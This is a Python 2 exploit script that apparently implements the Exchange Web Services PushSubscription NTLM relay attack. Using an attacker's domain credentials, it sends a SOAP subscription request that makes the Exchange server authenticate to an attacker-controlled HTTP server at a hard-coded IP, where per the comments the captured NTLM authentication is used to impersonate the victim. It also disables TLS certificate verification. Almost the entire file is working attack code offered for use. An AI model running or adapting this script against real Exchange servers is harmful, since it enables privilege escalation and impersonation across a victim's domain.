#!/usr/bin/python
import socket
import base64
import httplib
import urllib
import os, ssl
from ntlm import ntlm

#You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
ip='exch2016.contoso.local'
tcp_port = 443
#PROTO='http'
PROTO='https'

#Credentials of attacker
USER = 'attacker'
DOMAIN = 'contoso.local'
PASS = 'P@ssw0rd'

URL = "/EWS/Exchange.asmx"

#URL of our HTTP server that will use NTLM hashes for impersonation of victim 
EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"

#Debug flag:
print_debug_info = 1


try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
  

def main(ip,port,proto):	
	
	#Connection to server
	if proto=='https':
		conn = httplib.HTTPSConnection(ip,port)
		#conn = httplib.HTTPSConnection(ip)
	else:
		conn = httplib.HTTPConnection(ip,port)
	
	print "Sending 'PushSubscription' EWS request..."
	
	#SOAP request with URL pointing to our Evil HTTP server
	body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
   </soap:Header>
   <soap:Body >
      <m:Subscribe>
         <m:PushSubscriptionRequest SubscribeToAllFolders="true">

                 <t:EventTypes>
          <t:EventType>NewMailEvent</t:EventType>
          <t:EventType>ModifiedEvent</t:EventType>
          <t:EventType>MovedEvent</t:EventType>
        </t:EventTypes>
               <t:StatusFrequency>1</t:StatusFrequency>
               <t:CallerData>DesktopOutlook</t:CallerData>
               <t:URL>''' +EVIL_HTTPSERVER_URL+'''</t:URL>
         </m:PushSubscriptionRequest>
      </m:Subscribe>
   </soap:Body>
</soap:Envelope>
'''
	
	#Headers with NTLM NEGOTIATE 
	ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN+"\\"+USER)
	headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}

	#sending request and receiving response
	conn.request("POST", URL, body, headers)
	response = conn.getresponse()
	resp_data = response.read()
	if print_debug_info:
			print "[DEBUG]: Received response:"
			print response.status, response.reason, '\n',response.msg, '\n', resp_data

	if response.status == 401:
			
			print "\nGot 401 response with NTLM NONCE."
			print "Trying authenticate current user..."

			#Calculation of NTLM AUTHENTICATE response
			Nonce = response.getheader("WWW-Authenticate")
			(ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
			ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,USER,DOMAIN,PASS,NegotiateFlags)

			#Adding NTLM response in Authorization header
			headers["Authorization"] = "NTLM " + ntlmresponce

			#sending request and receiving response 
			conn.request("POST", URL, body, headers)
			response = conn.getresponse()
			resp_data = response.read()

			if print_debug_info:
			        print "\n[DEBUG]: Received response:"
			        print response.status, response.reason, '\n',response.msg, '\n', resp_data
			   
			if response.status == 401:
			        print "\nAuthentication ERROR:"
			        print "Cannot authenticate '"+DOMAIN + "/" + USER + "' with password '" + PASS +"'"

	conn.close()
		
	print "\n\nThe Script is finished. \n"
	
	return 1

print "Address:\n %s:%u\n\n" %(PROTO+'://'+ip,tcp_port)
main(ip,tcp_port,PROTO)
